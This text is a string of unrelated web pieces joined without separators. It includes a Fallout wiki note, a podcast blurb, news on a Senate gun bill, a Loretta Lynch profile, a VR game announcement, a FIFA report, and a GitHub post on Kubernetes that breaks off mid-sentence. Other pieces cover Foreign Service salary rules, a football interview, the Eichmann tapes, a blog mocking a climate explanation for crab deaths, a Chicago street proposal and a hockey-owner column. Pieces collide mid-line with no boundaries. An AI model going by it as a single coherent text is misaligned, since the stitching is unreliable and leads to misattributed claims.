FoBoS Harold Sometimes the meat.ogg
The Armageddon Rag Edit
"Be kind to the Smoothskins. One saved the world once. 'Course, they broke it to start with."
Notes Edit
In Fallout, Harold's "Tell-Me-About" on vaults leads to his explaining that the vault he originated from failed, due to an overabundance of vault dwellers, and a lack of food to sustain their numbers. This actually corresponds to the description of Vault 27 in Fallout Bible, which is not canon material. This vault was to be deliberately overcrowded by twice the sustainable amount, as opposed to Vault 29 as it's described in Van Buren, not canon either. This means the official fate of Harold's home is the one he tells.
Appearances Edit
Gallery EditFriday Night Fanfiction :: Just Drink For How Racist This Story Is
Posted by Stevo on April 28, 2017
The drunken fanfiction podcast you’ve been waiting for! Friday Night Fanfiction combines dramatic readings of the worst-of-the-worst NSFW fanfic with drinking games.
Indulge in a classic Hunchback of Notre-Dame fanfic. Or try to, anyway. “Back to the Frollo” by the aptly-named Frollofreak shuts us down for two reasons. One: it’s ultra racist. Two: it’s boring. REAAAAAAAAAAAAL boring. It does not become enjoyable. Ever.
Lucky us, we’re entertaining folks and we have two amazing fan readers suffering with us through the time-traveling Toyota and numerous flashbacks that do nothing to establish plot or character. Based on this, we’re never going to visit Indiana.
Download from the player above | Subscribe via iTunes
Readers: Stevo, David, Logan, Val, Shawn, Gorejuice, Sara4thewin
Social Links:Updated at 3:55 p.m. ET
Citing the minimal support for legislation that would ban assault weapons, Senate Majority Leader Harry Reid, D-Nev., said today that he would leave the proposal out of the gun violence bill he'll bring to the Senate floor. Instead, the assault weapons ban will be offered as an amendment to the bill, along with several other less popular ideas.
"I have said time and time again I want people to have the ability to vote on assault weapons, mental health, safety in schools, federal trafficking, clips -- everything," Reid told reporters this afternoon. "But I cannot do that until I get a bill on the floor."
Reid explained that he'll need to find a bill to bring to the Senate floor that has at least 60 votes of support -- enough to bypass a Republican filibuster and start debate. Once debate has started on that bill, the Senate can vote on amendments, such as the assault weapons ban authored by Sen. Dianne Feinstein, D-Calif.
Feinstein's legislation passed through the Senate Judiciary Committee last week, but Reid explained today that it wouldn't clear the filibuster hurdle.
"Right now her amendment, using the most optimistic numbers, has less than 40 votes. That's not 60," he said. It's more likely, Reid added, that he would bring to the floor one of the background check proposals currently in the works.
Before a background check bill could be used as the main legislative vehicle, Democrats and Republicans would have to resolve some sticking points -- specifically, they would have to resolve concerns from members on both sides of the aisle who do not want to create a national gun registry.
Besides the background check legislation, Reid could use other proposals such as an anti-trafficking bill that passed out of Judiciary Committee with bipartisan support.
Feinstein expressed her disappointment with Reid's decision to CBS News today, saying, "You know the enemies on this are very powerful. I've known that all my life, my adult life in the political arena certainly."
When asked, however, whether keeping the assault weapons ban out of the bill could make it easier to pass the rest of the legislation, Feinstein said, it "very well might."
"I'm certainly going to vote for all areas of it. It's not a problem for me," she said. "But then we face the wonderful House of Representatives, too."
There are 53 Democrats in the Senate, as well as two independents who caucus with the Democrats, but some of them are expected to join Republicans in opposing Feinstein's proposal.
"The worst of all worlds would be to bring something to the floor and it dies there," Reid said. "People deserve a vote on things they feel so strongly about."
The Senate leader said he would bring a gun bill to the floor "as soon after Easter as i can."It has been described as the “I have a dream” moment for America’s transgender community. It was also a moment when Loretta Lynch sounded more like Barack Obama than Obama himself. Last Monday in Washington, the US attorney general delivered arguably the most powerful repudiation yet of attempts to deny people access to toilets that match their chosen gender identity. The first African American woman to be the top law enforcement official in the nation set the issue in the wider context of the struggle for civil rights. She drew parallels with Jim Crow laws, the American apartheid that sanctioned racially segregated bathrooms.
“Let me also speak directly to the transgender community itself,” she said, cutting a diminutive figure, barely five feet tall, against a deep blue curtain. “No matter how isolated or scared you may feel today, the Department of Justice and the entire Obama administration wants you to know that we see you; we stand with you; and we will do everything we can to protect you going forward. Please know that history is on your side. This country was founded on a promise of equal rights for all, and we have always managed to move closer to that promise, little by little, one day at a time. It may not be easy – but we’ll get there together.”
LGBT rights activists were moved to tears. The first black president has striven to set a tone of tolerance, diversity and equality, including the legalisation of gay marriage, and had now found his perfect messenger.
Those who have known Lynch, 56, for a long time were pleasantly unsurprised. The former attorney in New York, who has gone after everyone from mobsters to abusive police to world football dons, was shaped by three formative influences: religion, civil rights and a reverence for the law.
She was born in Greensboro, North Carolina, the daughter of a preacher and school librarian with high aspirations for her. But race permeated everything. Her father, Lorenzo, 84, told the Observer: “I grew up in a segregated culture and segregated society. I sat at the back of the bus, I drank water from a coloured fountain, I went to a coloured bathroom. It was separate all the way around. The attitude to us was not friendly. Whites would meet us at the door of the store: ‘What do you want?’ The law was used as a weapon of control and fear.”
Despite this, Lorenzo’s own father often took him to court to follow proceedings and see what the law could be when properly exercised. He, in turn, did the same for his daughter, Loretta. He reflected: “I was still taught to have faith in the law. I tried to show her the law is part of life and is becoming part of life for minorities. Use the law; do not fear the law.”
The other moral compass was Christianity: Lynch’s father is a fourth-generation Baptist minister and her brother, Leonzo, is a senior pastor. She grew up listening to her father’s sermons and witnessing him struggle for civil rights, particularly on behalf of teachers and academics. Reflecting on the current case, in which Lynch has filed a federal suit against North Carolina over a bill that bans transgender people from using a bathroom of a different gender from that stated on their birth certificate, Lorenzo commented: “She has a strong sense of right and wrong. The governor of North Carolina is trying to get re-elected. He’s speaking out of expediency and she’s speaking out of conviction.”
Lynch’s mother, Lorine, filled the family home with books. Lynch was bespectacled, curly-haired and studious or, as she once put it, “nerdy”. She did so well on a school entrance exam at six that teachers assumed she had cheated and made her retake it; second time around, she did even better. Lynch also had the best grades in her high school.
She is smart, she is hard-working, she has a real passion for people not getting a fair shake New York Senator Chuck Schumer
The hard work paid off. She graduated from Harvard, where her idea of fun was reading Chaucer in Old English, and went to Harvard Law School. She began her career as a litigation associate for a prestigious Wall Street law firm. But as she recalled in a speech last Saturday: “Late one night, on the heels of many other late nights, I actually passed out at my desk. I was taken to the hospital and diagnosed with exhaustion. And as I was recovering, I started to think about whether the work that I was doing was why I went to law school. Was this work really what excited me?”
The answer was no. Lynch went to work as a federal prosecutor in Brooklyn. It involved taking a 75% pay cut, but she had found her calling. After nine years she became US attorney for New York’s eastern district. Senator Chuck Schumer, who recommended her for the position, said: “She is smart, she is hard-working, she has a real passion for people not getting a fair shake. She doesn’t get up and scream and yell about it but she resolutely figures out how to make things better for them.”
In Lynch’s first year running the US attorney’s office came the case that made her name: the successful prosecution of white police officers who viciously beat and sodomised a Haitian immigrant, Abner Louima. It was one of the most high-profile and contentious police brutality cases the city had seen. At one point she had to be escorted out of the courtroom by US marshals for her own safety.
Lynch was attorney from 1999 to 2001 but, as a political appointee, was forced to stand down during the George W Bush presidency and return to private practice. With Obama’s election, she resumed the position from 2010 to 2015.
She tackled financial fraud, human trafficking, corrupt public officials and cybercrime. She helped convict the masterminds of a thwarted al-Qaida plot to attack the subway. She presided over the biggest mafia bust in New York history, bringing charges against 127 members and associates of seven organised crime families.
Not everything worked out, however. She spent years building a case against reputed mobster Vincent Asaro over a $6m heist in 1978 at John F Kennedy airport, a case immortalised in the film Goodfellas, only for him to be acquitted last year. She was also criticised over a deal with HSBC that spared the bank from criminal charges over money laundering. In a case where Citigroup was accused of misleading investors about securities containing toxic mortgages, her office again agreed a $7bn settlement that carried no charges.
In 2014, when Eric Holder stepped down after six years, she was tapped by Obama to become the 83rd US attorney general. Her confirmation took more than 50 days because of a protracted Congressional fight, a delay that the president described as “embarrassing”.
Finally, in April last year, Lynch was sworn in using a Bible that once belonged to African-American abolitionist and writer Frederick Douglass. Lorenzo was in attendance. Had he ever thought, back in the old segregated south, that such a thing would be possible one day? “I never dreamed it, never thought it, never imagined it. I don’t think she allows discrimination to define her. It bounces off you. You take note of it, you prepare to deal with it but you don’t swallow it.”
After just a month in the job, Lynch’s face was on TV screens and newspaper front pages around the world. She announced indictments against nine Fifa officials and five corporate executives, a scandal that rocked world football. She declared that officials at the governing body had engaged in “rampant, systemic, and deep-rooted” corruption. At a time of scepticism about America’s role as the world’s policeman, some were grateful to find it acting as the world’s prosecutor.
Lorenzo is not surprised by the scale of her ambition. “As a young person she was very forward-looking and very forward-speaking.” The family remains close. Lynch goes home for mother’s day and father’s day. Her parents regularly attend her speeches. She did not marry until she was 48, to Stephen Hargrove, who works in TV production, and has two stepchildren but no biological offspring. “We’ve never discussed that,” said Lorenzo. “I was raised in a family of eight. When you’re in a family of eight, you don’t make a fuss about it.”
For all her impact, Lynch’s time in the spotlight could be running out. Some Republicans have previously accused her of partisanship. Her handling of the FBI investigation of Hillary Clinton’s use of a private email server as secretary of state will be a crucial test. Should Donald Trump win in November, Lynch can expect to be out of a job.
But if Clinton prevails, she has a decent chance of staying on. Carl Tobias, a professor at University of Richmond School of Law, said: “She was a fine pick because she was ready for the challenge of being on the big stage. She wanted to do as much as she could on as many fronts as possible.
“When a new president comes in, the custom is to tender one’s resignation but I wouldn’t be surprised to see Hillary retain her. She’s earned that.”
THE LYNCH FILE
Born Loretta Elizabeth Lynch in Greensboro, North Carolina, on 21 May 1959. She was the middle of three children born to Lorenzo and Lorine Lynch, who once told the Washington Post: “I told Loretta that I picked cotton so she wouldn’t have to do the same thing.” In 2007 she married Stephen Hargrove, and has two stepchildren, Ryan and Kia.
Best of times Last year she became the first African American woman to become US attorney general. Senator Chuck Schumer said: “If there’s an American dream story, Loretta Lynch is it.” She made a flying start by taking on Fifa, with indictments against nine officials.
Worst of times Nominated by Obama, Lynch’s confirmation hearings dragged on for more than 50 days, a record in modern times, and led to allegations of racism.
What she says “If a little girl from North Carolina who used to tell her grandfather in the fields to lift her up on the back of his mule so she could ‘see way up high, granddaddy’ can grow up to become the chief law enforcement officer of the United States of America, we can do anything.”
- At her swearing in last year.
What others say “The law is her map; justice, her compass. She is tough, but she is fair. She is firm, but kind.” – Barack Obama, 2015.50 SHARES Facebook Twitter Linkedin Reddit
Insomniac Games, the studio known for series such as Ratchet & Clank and Spyro the Dragon, today announced an Oculus Touch exclusive that promises to have you throwing fire balls and wielding magic of all sorts. It’s called The Unspoken.
Boasting more than 25 spells and multiple arenas where you can play against friends and strangers, The Unspoken features an urban setting where you face off in magical 1v1 multiplayer combat. You’ll be able to cast spells, summon scary monsters, create helpful golems to do your bidding, draw powerful shields to protect yourself from your enemy’s arcane onslaught, and break your enemy’s shield with magical javelins—and all using the Oculus Touch hand controllers.
1 of 5
Insomniac is investing heavily into virtual reality lately, with their yet-to-release Lovecraftian horror Edge of Nowhere releasing June 6th, and the newly announced Feral Rights, a VR adventure brawler that lets you turn into a beast so you can duke it out with other players coming in Fall 2016. Oculus Studios, the company’s production wing, is publishing all three VR games exclusively on the Oculus Store.
The Unspoken is slated to arrive during holiday season of 2016, while Oculus Touch is said to arrive in the second half of 2016.First Woman Elected To FIFA's Executive Committee
Burundi's Lydia Nsekera made history on Friday when she became the first woman to be elected to the Executive Committee of football's world governing body FIFA for a full term.
Nsekera was voted on for a full four-year term at the FIFA Congress in Mauritius, while two other women, Moya Dodd of Australia and Sonia Bien-Aime of the Turks and Caicos Islands, were elected on for one year.
Nsekera was the first woman to be appointed on for one year at last year's Congress in Budapest.
Now there will be three women on the ExCo, compared to none two years ago. It is another step towards gender equality within FIFA, although there is still work to be done, with the ExCo comprising a total of 24 members.
"One woman was elected on to the Executive Committee last year for one year, and now a woman has been officially elected on to the executive committee, with two others appointed. It has taken us 109 years to get this far," said FIFA president Sepp Blatter.
In addition, and as expected, a proposal to change the process by which future World Cups are attributed was voted through by an overwhelming majority. Previously, only the 24 members of the Executive Committee were allowed to vote for successful World Cup hosting, but now a collective vote will be taken by all 209 federations. Out of 207 votes, 198 voted in favor of the change, with just two voting against. The previous system came under fire after the awarding of the 2018 and 2022 finals to Russia and Qatar respectively.
Meanwhile, FIFA's decision to postpone introducing limits on the age and length of term for presidential candidates until at least 2014 has come in for criticism from Mark Pieth, the man hired by FIFA as their chief reformer. "These are not the most fundamental reforms, but this does risk sending out a symbolic message," said Pieth, an independent Swiss lawyer.
In January, UEFA proposed an age limit of 72 for officials standing for election and a maximum of three four-year mandates. Current FIFA president Sepp Blatter, 77, has already surpassed both those limits.Over the last year, GitHub has gradually evolved the infrastructure that runs the Ruby on Rails application responsible for github.com and api.github.com. We reached a big milestone recently: all web and API requests are served by containers running in Kubernetes clusters deployed on our metal cloud. Moving a critical application to Kubernetes was a fun challenge, and we’re excited to share some of what we’ve learned with you today.
Why change?
Before this move, our main Ruby on Rails application (we call it github/github ) was configured a lot like it was eight years ago: Unicorn processes managed by a Ruby process manager called God running on Puppet-managed servers. Similarly, our chatops deployment worked a lot like it did when it was first introduced: Capistrano established SSH connections to each frontend server, then updated the code in place and restarted application processes. When peak request load exceeded available frontend CPU capacity, GitHub Site Reliability Engineers would provision additional capacity and add it to the pool of active frontend servers.
While our basic production approach didn’t change much in those years, GitHub itself changed a lot: new features, larger software communities, more GitHubbers on staff, and way more requests per second. As we grew, this approach began to exhibit new problems. Many teams wanted to extract the functionality they were responsible for from this large application into a smaller service that could run and be deployed independently. As the number of services we ran increased, the SRE team began supporting similar configurations for dozens of other applications, increasing the percentage of our time we spent on server maintenance, provisioning, and other work not directly related to improving the overall GitHub experience. New services took days, weeks, or months to deploy depending on their complexity and the SRE team’s availability. Over time, it became clear that this approach did not provide our engineers the flexibility they needed to continue building a world-class service. Our engineers needed a self-service platform they could use to experiment, deploy, and scale new services. We also needed that same platform to fit the needs of our core Ruby on Rails application so that engineers and/or robots could respond to changes in demand by allocating additional compute resources in seconds instead of hours, days, or longer.
In response to those needs, the SRE, Platform, and Developer Experience teams began a joint project that led us from an initial evaluation of container orchestration platforms to where we are today: deploying the code that powers github.com and api.github.com to Kubernetes clusters dozens of times per day. This post aims to provide a high-level overview of the work involved in that journey.
Why Kubernetes?
As a part of evaluating the existing landscape of “platform as a service” tools, we took a closer look at Kubernetes, a project from Google that described itself at the time as an open-source system for automating deployment, scaling, and management of containerized applications. Several qualities of Kubernetes stood out from the other platforms we evaluated: the vibrant open source community supporting the project, the first run experience (which allowed us to deploy a small cluster and an application in the first few hours of our initial experiment), and a wealth of information available about the experience that motivated its design.
These experiments quickly grew in scope: a small project was assembled to build a Kubernetes cluster and deployment tooling in support of an upcoming hack week to gain some practical experience with the platform. Our experience with this project as well as the feedback from engineers who used it was overwhelmingly positive. It was time to expand our experiments, so we started planning a larger rollout.
Why start with github/github?
At the earliest stages of this project, we made a deliberate decision to target the migration of a critical workload: github/github. Many factors contributed to this decision, but a few stood out:
We knew that the deep knowledge of this application throughout GitHub would be useful during the process of migration.
We needed self-service capacity expansion tooling to handle continued growth.
We wanted to make sure the habits and patterns we developed were suitable for large applications as well as smaller services.
We wanted to better insulate the app from differences between development, staging, production, enterprise, and other environments.
We knew that migrating a critical, high-visibility workload would encourage further Kubernetes adoption at GitHub.
Given the critical nature of the workload we chose to migrate, we needed to build a high level of operational confidence before serving any production traffic.
Rapid iteration and confidence building with a review lab
As a part of this migration, we designed, prototyped, and validated a replacement for the service currently provided by our frontend servers using Kubernetes primitives like Pods, Deployments, and Services. Some validation of this new design could be performed by running github/github ’s existing test suites in a |
“Right now there are three very large seed companies that are about to be sold to seed giants from the US and Europe.”
Many Israeli agritech start-ups feel they have no choice but to accept a buyout because it will take them a great deal of time to grow by themselves. “This is where government policy can help,” Meiri said, to “encourage them to keep their tech at home. It’s great that we can help the world grow more and better food, but it would really be great if we could do that from home.”PART 2: Attempt to Match Salary
Once grade and step are calculated, the Bureau of Human Resources’ next attempts to match your current salary.
Once the candidate’s grade and step are determined based on education and qualifying experience, the Registrar will review the candidate’s “current salary” to see if it is higher than the candidate’s projected salary as provided in the Foreign Service “Overseas” Salary Table. If so, the candidate’s starting salary will be raised to the step in the grade for which he/she is qualified that is closest to, but not less than, their current salary. If the current salary is too high to be matched in the Foreign Service grade for which the candidate is qualified, step 14 of that grade is the starting salary.
So what does this mean?
If your initial grade and step results in a loss of salary, you will advance within a grade until you reach a step that corresponds slightly higher than your current salary.
However, if your current salary is higher than the step 14 salary within the grade you were assigned, you will be assigned to step 14. One does not advance to the next highest grade.
That’s pretty neat that the State Department will do this.
To help explain this further, let’s take a look at Sarah once more, who currently makes $64,000, and determine how this may affect her salary.
For further illustration, below is the 2017 Foreign Service Salary Table Base Schedule, effective January 8, 2017.
We have already determined that Sarah’s grade and step are FP-5/Step-7.
Knowing this, we can determine what her base salary would be: $53,366. You can see this by looking at the below table (red highlighted box).
But wait! Sarah’s current salary is $64,000. Working as a FSO would mean a loss of $11,000. Fortunately, DOS matches salary and her step should be raised to step 14 within FP-5…right?
Wrong.
Let’s review the above quote once more:
The Registrar will review the candidate’s “current salary” to see if it is higher than the candidate’s projected salary as provided in the Foreign Service “Overseas” Salary Table.
That’s right, we need to look at the “Overseas” table, which is below and has been highlighted at Sarah’s current step and grade.
Taking into account Overseas Comparability Pay, at FP-5/Step-7, Sarah’s salary would be $63,004.
This is still lower than her current $64,000 salary. As such, we need to determine the next step within the grade that has the closest highest salary, which is…?
The very next step! Step 8 has a salary of $64,894.
This means that Sarah’s new entry-level grade and step are FP-5/Step-8.
Go ahead and determine how salary matching affects you!After his comments yesterday about finding his situation at Arsenal ‘not funny‘ we have, thanks to @martykantor, a full transcript of Tomas Rosicky’s interview.
—
Regarding the missing out in the FA Cup final – “It was a huge disappointment.”
How would you explain that? – “I don’t know what to say. Since the coach activated the option (to extend the contract), I haven’t even been on the bench.”
From outside this doesn’t make any sense. – “Well, It doesn’t make any sense to me either.”
It must be frustrating. – “Of course it is. Do you think I like it?”
Surely not. And that’s why it is so admirable that you are still keeping in shape. You lead the national team to the championship. Where do you look for motivation in Arsenal though? – “First of all, I am a professional so I should behave like a professional footballer. Second of all, even though you sometimes fall from the team selection, you have to stay ready. You never know when it might turn around. If you are not ready and don’t seize your chance when finally appearing on the pitch, then it is truly over. I cannot afford to take my foot off the pedal.”
This is easier said than done. – “It sure is. I don’t have any other special drive to push me further.”
Except for the national team. Not only coach Vrba is pleasantly surprised how in-form you are even with your lack of playing time (workload?). – “Playing for my national team has a big influence. I want to be successfull there. I am the captain of the boys and have to lead them.”
But you have to solve your current situation at Arsenal. Do you know how? – “Manager Wenger told me in March he wouldn’t let me leave. My plan right now? I will start the pre-season at Arsenal.
Could you go on loan in the summer? – “I won’t speculate what may or may not happen. I will start pre-season at Arsenal and that’s it.”
Has Sparta (Prague) already negotiated with you? – “There is a long-term interest but right now it doesn’t matter. I am focusing on my success with the national team. European championship is coming next year.”
So the Euros 2016 are on your horizon? – “Currently not only regarding the national team. Euros are the thing I am clinging on for a long time. That speaks for itself.”
—
So there you go, some context to his comments and it’s even more clear he’s not contended at the club right now.
—
A quick note for other blogs/websites, please feel free to use the quotes but if you could mention the source that’d be great.We could have killed more Jews, says Adolf Eichmann in newly declassified tapes
One of the chief organisers of the Holocaust regretted that it did not kill more Jews newly declassified recordings have revealed.
Adolf Eichmann, who was tasked with managing the logistics of transporting Jews to concentration camps, said the biggest'mistake' he made was not murdering all of them.
'We didn't do our job properly,' he said to a reporter who interviewed him following the end of the War. 'We could have done more.'
Flanked by two guards, Adolf Eichmann listens at his war crimes trial in Israel. Newly declassified tapes have revealed that he believe his biggest mistake was not murdering all Jews
The claim from Eichmann was made during the 1950s when he fled to Buenos Aires, Argentina, to try and escape justice.
Once he arrived there, he found it difficult to conceal who he really was and this eventually led to him discussing his past with friends in the city.
This failure resulted in him meeting with two journalists named Willem Sassen and Eberhard Fritsch who both had Nazi connections.
Adolf Eichmann was one of the main organisers of the Holocaust and was in charge of the transportation of Jews to the concentration camps
They took the opportunity to interview him regularly at Sassen's home and record what was said.
Using the alias Ricardo Klement during the interviews, he gave his insight into what happened during the War, and contradicts the defence he used at his war crimes trial in 1961.
At that trial in Israel he said that he was only following orders and was a small part of the Nazi machine, but in the tapes he is clearly heard boasting that he was part of the decision making process.
'I didn't just take orders,' Eichmann is heard saying.
'If I had been that kind of person, I would have been a fool. Instead, I was part of the thinking process, I was an idealist.'
In the tapes, Eichmann also appears to take pride in the crimes he committed as there is not one word of regret from the man who was one of the masterminds of the Final Solution.
The tapes were recently discovered by the German news magazine Der Spiegel after the country's intelligence service released 4,500 files on Eichmann.
The files are now located in the German Federal Archie in Koblenz.
Adolf Eichmann was hung in Israel during 1962 for crimes against humanity.You can’t make this stuff up, really. Crab deaths due to cold according to one authority are now being blamed on….drum roll….climate change aka global warming, by another.
“Thousands of dead crabs have washed up along the Kent coast, with environmental experts believing the cold weather in Britain is to blame,” London’s Daily Mail reports. In an MSNBC/LiveScience report, we get the simple explanation. ’tis the snowfall on the beach that melted wot dun it:
“It’s been a phenomenon for probably a third year in a row,” Tony Child, Thanet Coast project manager, told LiveScience.
The crabs come closer to shore at this time of year, Child said, where they feed on the seaweed. In the past, environmental scientists ran tests to check for disease or other physiological problems with the crabs, coming up empty-handed. But Child said every year the die-offs have occurred after there was snow on the beaches. The meltwater causes temperatures near shore to drop, and Child said the deaths must be linked to hypothermia.
Now, get load of this quote from another person in the Daily Mail Article:
“Coastal warden Tony Sykes said: ‘We suspect that climate change and warmer weather has lured the crabs towards the shoreline.”
Warden, what are you smoking dude? Have a look at the SST’s for Britain, what were they doing, swimming towards Spain?
Note the colors around the southeast part of the U.K. – barely above freezing SST’s.
Source: http://www.osdpd.noaa.gov/data/sst/fields/FS_km5000.gif
Note the quote:
It’s been a phenomenon for probably a third year in a row,” Tony Child, Thanet Coast project manager, told LiveScience.
Hmmm….now what could possibly have happened in the UK during the last three winters? BBQ Summers?
Here’s the press release from the Thanet Coast Project:
Marine wildlife hit by cold weather
Around 25,000 velvet swimming crabs and marine wildlife have become the latest victim of the recent cold weather in Thanet.
Volunteer coastal wardens from the Thanet Coast Project have surveyed the coastline and reported hundreds of dead creatures washed up on the shore. Casualties have been reported from the Nayland Rock, Margate and in bays to the Kingsgate area, with further sightings between Dumpton and Ramsgate. The discovery was made following the Christmas period, following on from the recent heavy snow falls.
So this claim from coastal warden Sykes isn’t the same ridiculous claim we’ve been hearing lately, that global warming causes cold weather. Nooo… the problem here seems to be that the crabs made the mistake of believing in global warming.
Here’s the link to the Daily Mail story with the quote.
http://www.dailymail.co.uk/news/article-1344242/40-000-devil-crabs-washed-British-beach-freezing-conditions-hypothermia.html
H/T to Mark Duchamp for the email.
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RedditA transportation advocacy group proposed Bryn Mawr Avenue in Edgewater be made car-free, which would include a portion of one of the city's historic districts. View Full Caption DNAinfo/Benjamin Woodard
EDGEWATER — Residents and business owners near West Bryn Mawr Avenue have a definite answer to the proposal to rid the busy thoroughfare of cars: No way.
"It just seems like it would be a traffic nightmare," said Michael Colucci, the founder and artistic director of Redtwist Theatre, 1044 W. Bryn Mawr Ave. "We still have room to grow, but I don’t think the mechanism for that growth would be catalyzed by a pedestrian area."
Skepticism toward Active Transportation Alliance's proposal surfaced last month when the advocacy group said 20 streets throughout the city deserve "serious consideration" to be — to varying degrees — vacated of cars.
So far, residents have largely opposed transforming Bryn Mawr between Sheridan Road and North Broadway into a pedestrian oasis.
"I don't think it's the greatest idea," said Andreas Pastos, the manager of Bryn Mawr's Nookies restaurant, who was concerned that losing parking along the street would keep customers away. "It’s going to create more of a hassle on where you would park in order to visit."
A native of Greece, Pastos said he understood how fewer cars and less-crowded streets would make Edgewater "more attractive, to look more like a European city."
But he said any changes to the area — new businesses seem to be flocking to the neighborhood — could upset a growing business economy.
"It could work, it could work — although i don’t know if it’s going to work for us necessarily," he said. "With the momentum that the area is taking right now, I wouldn't touch it."
Katrina Balog, the executive director of the Edgewater Chamber of Commerce, said in an email she supports "streets that are engineered with all users in mind."
"Businesses depend on a high volume of traffic — foot, vehicular and bicycle — to bring consumers to their storefront," she said.
She said the chamber would consider all proposals with the health of businesses in mind.
But one local clergy member thought the idea was anything but divine.
"We already don’t have enough parking in the neighborhood," said Rev. Barbara Cathey, pastor of Edgewater Presbyterian Church at Bryn Mawr and Kenmore avenues. "So it would remove some parking, and then there would be no access. Unless this organization wants to build a huge parking garage a block away from Bryn Mawr, it would be ludicrous."
Ald. Harry Osterman (48th) has similar thoughts, according to his chief of staff, Dan Luna.
"As far as I know, he does not support that one bit," Luna said. "We’re working really hard to bring business to Bryn Mawr. It’s not in our plan or our vision."
He said an the upcoming renovation of the Bryn Mawr "L" stop would further propel the street's economy.
Luna also said his office was open to the idea of incorporating traffic calming measures along the bustling strip.
It's just that kind of conversation Active Transportation Alliance hoped to spark with its proposal.
"We were thrilled by the enthusiastic response," said Ted Villaire, a spokesman for the group. "People, of course, had a lot of questions about exactly, you know, how this would work — and that’s understandable — but it really accomplished our goal of getting people to think bigger."
The proposal also mentions closing only portions of the streets, or just for certain times of the year, like summer months.
But for Sheli Lulkin, president of a condo-owner coalition along North Sheridan Road, the conversation is already over.
"NO! Bryn Mawr will not be closed to traffic between Broadway and Sheridan," she said in an email to members of the coalition last week.
She said in a phone interview Monday that Bryn Mawr had been built to serve thousands of motorists every day and many more people who travel on buses.
"What are we gonna do," she asked, "throw everything out and start all over again because some bike riders want to widen the street?"Ted Leonsis has just invited him to grab a beer, take a seat, settle in, assume the mantle of NHL team owner for a period. To which firefighter McCallum, draped in a generous cherry red Alex Ovechkin jersey and a smile that could swallow all of D.C., can barely bring himself to respond, “Oh my god!”
Chris McCallum is pretty sure the guys at Firehall 19 — “City of Calgary. Greatest job in the world!” — are not going to believe this.
Leonsis wrote back, though McCallum says he did wonder initially whether it was truly the multimillionaire at the keyboard. Leonsis posed this question in his two-paragraph-long reply: Didn’t Bondra deserve a chance at the Stanley Cup? The then-whiffing Caps sure couldn’t offer Bondra that. The Cup, that is. (Nor could the Senators, as it turned out.) So McCallum, assuaged, made up with the team he adores, a moment that can be carbon dated to 1980 when Maple Leafs goalie Mike Palmateer, or the legendary Mike Palmateer, was traded to the Caps.
You have to know that back in the winter of 2004 McCallum fired off an email to the Washington Capitals owner, unhappy — that’s putting it mildly — that the Caps had traded Peter Bondra to the Ottawa Senators. Bondra was in tears and maybe McCallum shed a tear. He sure felt awful and figured he needed to share that — “share” is putting it mildly — with the team’s proprietor.
And you might think this is a story about beer — more on that later.
So you might think this is a story about hockey.
Which is how Chris McCallum and his brother Mike get to be seated now in the front row of the owners box in the Verizon Center as the Caps face St. Louis — this is in early March — and Ted Leonsis keeps a bead on the puck with the concentration of a cat about to pounce on a mouse and general manager George McPhee, looking characteristically grave, paces in those sleek slip-on loafers, lacing and re-lacing his hands, uttering at least once a “God damn,” until Jason Arnott scores with five minutes and 19 seconds remaining taking the Caps to a 3-2 lead and an ultimate win causing McPhee to give Leonsis the thumbs-up before sliding, handsome and ghost-like, out the door and causing Chris McCallum to crack that cavernous smile, signaling that he too is a happy, happy man.
Anyway, Leonsis informed McCallum by email that if he ever found himself floating through D.C. he should come on by.
Okay, just one point about beer. Caps fans have a buffet of beer choices, from Beck’s to Boddingtons to LandShark. Eat your hearts out, you Molson-pour Leafs hostages, I mean, fans.
But it’s really a story about a businessman and a social compact and thereby a lesson in hockey ownership, which, in Toronto hockey terms, evokes the almost faceless and assuredly bloodless institutional hand of the Ontario Teachers’ Pension Plan, 66 per cent owner of Maple Leaf Sports & Entertainment, a big, fat, private equity piece that, thank the lord, is on the sales block.
More carbon dating: “It’s been longer than the Washington Capitals have been in business.”
Sigh.
It’s the morning of the Caps-Blues game, hours before the slamming “Rock the Red” onslaught, the ear-piercing team branding that has had the unlikely result of transforming Redskins-devoted D.C. into a hockey town.
Leonsis keeps a corner office in the Verizon Center, which anchors what had been a hardscrabble part of town until Caps and NBA Wizards (née Bullets) builder Abe Pollin dedicated himself to erecting an arena in what seemed the unlikeliest corner of D.C. Keeping the team in Maryland — the Caps launched in Prince George’s County in 1974, seven years after the Leafs last won the Stanley Cup — would have been a safer bet. Washington, after all, sits at the verdant commercial nexus of Maryland and Virginia and draws 70 per cent of its fan base from those two states.
Yet Pollin dragged the Caps to the run-down, burned-out remnants of the east end. Throwing more than $200 million of his own money into the pot, Pollin’s vision was a sports and entertainment complex that would trigger the rebirth of the nation’s capital as it spreads from the intersection of F Street and Sixth. “His single biggest act of generosity was building the building when the city couldn’t help,” says Leonsis. “When I came to Georgetown (he attended the university in the ’70s) you were told never to go past 10th Street.”
Leonsis favours French cuffs and has the meticulously buffed appearance of someone who has just stepped from the spa. “Sporty” is not a word that springs to mind. Instead he is a man of passion and appetites, a living-large type. Which brings to mind a phrase used by America Online founder Steve Case when Case was urging Leonsis to corporately marry AOL 18 years ago: “Life’s too short to drink bad wine.”
Precisely.
Through the windows of Leonsis’s sunbathed office, the F Street strip is a vibrant commercial district. The signage for the Legal Sea Foods fish and oyster joint dominates the opposite street corner, disgorging legion of Caps fans in the pregame minutes: 2.5 million turnstile trippers pass through the Verizon each year.
In 1999 Leonsis paid $85 million for the Caps, and a further $110 million for 44 per cent of the Verizon Center, the Wizards, the WNBA Washington Mystics and the Baltimore-Washington Ticketmaster franchise (since sold).
Abe Pollin died in November, 2009. Seven months later, Leonsis led the newly formed Monumental Sports & Entertainment, of which he is the majority owner, in purchasing the outstanding 56 per cent of all of those assets for something on the order of $300 million.
Short story: Leonsis today reigns over the fifth-largest media market in the U.S. with a population base of 5.5 million people spread through that aforementioned commercial nexus. The continuation of the story plays like this: “I’m going to own my own network one day. It makes sense. I blog every day. I own these web sites. And then we own sports teams. Nothing brings a city closer together than a winning sports teams.”
Double sigh.
Leonsis speaks to the intermingling of community interests. He sits on the board of Georgetown. Georgetown is important to Washington. Basketball is important to Georgetown. The university men’s basketball team plays at the Verizon. The Verizon is three blocks from the Capitol. Universities, public gathering places, iconic real estate, sports teams, each connected to the other. “They represent longevity,” Leonsis notes. “They represent a big community of interest.”
Which means what?
“I have a much bigger social responsibility than I ever thought imaginable when I bought the hockey team. I’m front and centre in defining the psyche and representing the city that I live in.”
I’m feeling light headed. No. 1 on my wish list for new Leafs ownership: An owner that is front and centre defining the psyche of this city.
